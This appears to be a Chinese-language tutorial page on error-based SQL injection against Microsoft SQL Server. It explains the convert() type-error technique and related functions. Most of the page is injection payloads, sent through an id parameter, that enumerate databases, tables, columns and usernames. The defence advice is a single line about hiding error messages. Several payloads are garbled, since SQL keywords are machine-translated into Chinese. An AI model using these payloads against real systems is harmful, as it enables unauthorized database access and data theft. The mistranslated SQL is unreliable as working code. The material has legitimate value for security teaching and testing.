当前位置:数据分析 > SQL Server错误注入(1)

SQL Server错误注入(1)

  • 发布:2023-09-30 03:59

1.原理介绍

错误注入,顾名思义,首先,这里有一个错误信息。其次,我们需要制造一些人为的错误。例如,使用convert()函数进行类型转换时,如果类型转换失败,就会报错。然后这就是我们要执行的内容。将SQL语句与convert()函数结合起来,例如convert(int,@@version),错误消息中就会包含我们需要的信息。

2。功能介绍

convert() 函数简介:
定义: Convert() 函数是将日期转换为新数据类型的通用函数。
用法:convert(int,db_name()),表示将第二个参数的值转换为第一个参数的int类型。使用MSSQL时,将类型转换为分解数据库信息时会发生错误。

quotename()函数简介:
定义: quotename()函数默认在要处理的参数两边加上两个方括号,起到分隔符的作用,避免出现sql关键字。异常。 ?

for xml path('') 语句介绍:
定义: 以 xml 格式提供查询返回的结果,返回值相当于字符串。
用法: 通过XML 显示查询到的数据。路径指定xml元素节点(行节点)。该语句可以通过XML显示所有查询到的数据。

stuff()函数介绍:
定义: stuff()函数水平输出表格中各列的内容。
用法: stuff(param1, startIndex, length, param2),删除 param1 中从 startIndex 开始的 length 个字符(SQL 中都是从 1 开始,不是 0),然后用 param2 替换删除的字符。

3。常用数据表介绍

​ 主数据库包含许多系统表。 sys.databases表存储了SQL Server中所有数据库的库名称; sys.objects表存储SQL Server中所有数据库的表名; sys.columns 该表存储了SQL Server中所有数据表的列名。

4。注射方式

1。爆炸数据库

id=1' 且 1=convert(int,(select db_name(0)))--+id=1' and 1=convert(int,(select db_name(1)))--+ //查询第二个数据库,以此类推


连接所有数据库进行显示。

id=1' 和 1=convert(int,stuff((从 sys.databases 中选择 xml 路径的 quotename(name)('')),1,0,''))--+


2.爆炸数据表

id=1' and 1=convert(int,(从 test.sys.objects 中选择前 1 个名称,其中 type='U'))--+id=1' 和 1=convert(int,stuff((从 test.sys.objects 中选择 quotename(name),其中 type='U' for xml 路径('')),1,0,''))-- +


连接所有表格进行显示。

3.爆炸场(这里的方法同上)

id=1' and 1=convert(int,(从 test.sys.columns 中选择前 1 个名称,其中 object_id=object_id('users')))--+id=1' 和 1=convert(int,stuff((从 test.sys.columns 选择 quotename(name),其中 object_id=object_id('users') for xml 路径('')),1,0,'') )--+



4.爆破数据

id=1' and 1=convert(int,(从用户中选择前 1 个用户名))--+
id=1' and 1=convert(int,stuff((从用户中选择 quotename(用户名) 作为 xml 路径('')),1,0,''))--+


5。防御方法

关闭错误信息即可

相关文章

最新资讯

热门推荐